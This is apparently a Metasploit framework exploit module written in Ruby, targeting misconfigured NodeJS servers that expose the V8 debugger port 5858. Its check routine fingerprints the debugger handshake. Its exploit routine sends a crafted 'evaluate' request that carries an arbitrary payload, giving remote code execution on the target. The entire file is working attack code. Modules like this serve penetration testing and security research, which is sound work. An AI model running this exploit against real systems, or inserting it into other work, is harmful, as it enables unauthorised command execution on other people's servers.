##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
MESSAGE_HEADER_TEMPLATE = "Content-Length: %{length}\r\n\r\n"
def initialize(info={})
super(update_info(info,
'Name' => "NodeJS Debugger Command Injection",
'Description' => %q{
This module uses the "evaluate" request type of the NodeJS V8
debugger protocol (version 1) to evaluate arbitrary JS and
call out to other system commands. The port (default 5858) is
not exposed non-locally in default configurations, but may be
exposed either intentionally or via misconfiguration.
},
'License' => MSF_LICENSE,
'Author' => [ 'Patrick Thomas <pst[at]coffeetocode.net>' ],
'References' =>
[
[ 'URL', 'https://github.com/buggerjs/bugger-v8-client/blob/master/PROTOCOL.md' ],
[ 'URL', 'https://github.com/nodejs/node/pull/8106' ]
],
'Targets' =>
[
['NodeJS', { 'Platform' => 'nodejs', 'Arch' => 'nodejs' } ],
],
'Privileged' => false,
'DisclosureDate' => "Aug 15 2016",
'DefaultTarget' => 0)
)
register_options(
[
Opt::RPORT(5858)
])
end
def make_eval_message
msg_body = { seq: 1,
type: 'request',
command: 'evaluate',
arguments: { expression: payload.encoded,
global: true,
maxStringLength:-1
}
}.to_json
msg_header = MESSAGE_HEADER_TEMPLATE % {:length => msg_body.length}
msg_header + msg_body
end
def check
connect
res = sock.get_once
disconnect
if res.include? "V8-Version" and res.include? "Protocol-Version: 1"
vprint_status("Got debugger handshake:\n#{res}")
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Unknown
end
def exploit
connect
# must consume incoming handshake before sending payload
buf = sock.get_once
msg = make_eval_message
print_status("Sending #{msg.length} byte payload...")
vprint_status("#{msg}")
sock.put(msg)
buf = sock.get_once
if buf.include? '"command":"evaluate","success":true'
print_status("Got success response")
elsif buf.include? '"command":"evaluate","success":false'
print_error("Got failure response: #{buf}")
else
print_error("Got unexpected response: #{buf}")
end
end
end